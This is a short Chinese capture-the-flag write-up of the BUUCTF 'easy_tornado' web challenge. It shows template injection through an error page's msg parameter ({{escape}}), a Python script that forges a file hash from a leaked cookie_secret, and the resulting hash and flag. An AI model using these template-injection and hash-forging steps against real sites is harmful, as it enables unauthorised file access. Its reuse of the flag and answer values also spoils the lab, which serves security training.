Buuctf-------WEB之easy_tornado
1.给了三个提示
flag在/fllllllllllllag这里
Render+tornado这两个东西,显然是python web
根据提示flag所在文件夹,加上路径去访问,发现无法访问,被跳转到一个错误页面
到这里,开始怀疑可能是不是存在模板注入
输入的数据都被当作代码执行了,举个例子,{{1+1}}回显会返回2,当然,正常情况很少这样。一般是某个函数或者关键字会被执行
先试试看
翻了一下官网,大概这些函数
挨个试试
第一个escape就被直接执行了
http://9cc83977-4b02-44c3-93d1-b1f6d026f845.node1.buuoj.cn/error?msg={{escape}}
这里根据提示,我们需要的是cookie
参考wp,师傅们这样解释的
接下来根据hint提示计算hash
#!-*-coding:utf-8 -*- import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369' print(md5(cookie_secret + md5(filename))) if __name__ == '__main__': filehash()
742267cca0cd702fac6bbaeb947cd61e带进去访问,出flag
Flag: flag{94b1f826-b51b-4822-986f-bc718c19560b}
参考文章:
http://ch.vksec.com/2017/06/tornado.html
https://blog.csdn.net/weixin_44677409/article/details/94410580
https://tornado.readthedocs.io/en/latest/web.html#tornado.web.RequestHandler
https://www.kancloud.cn/kancloud/python-basic/41712
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html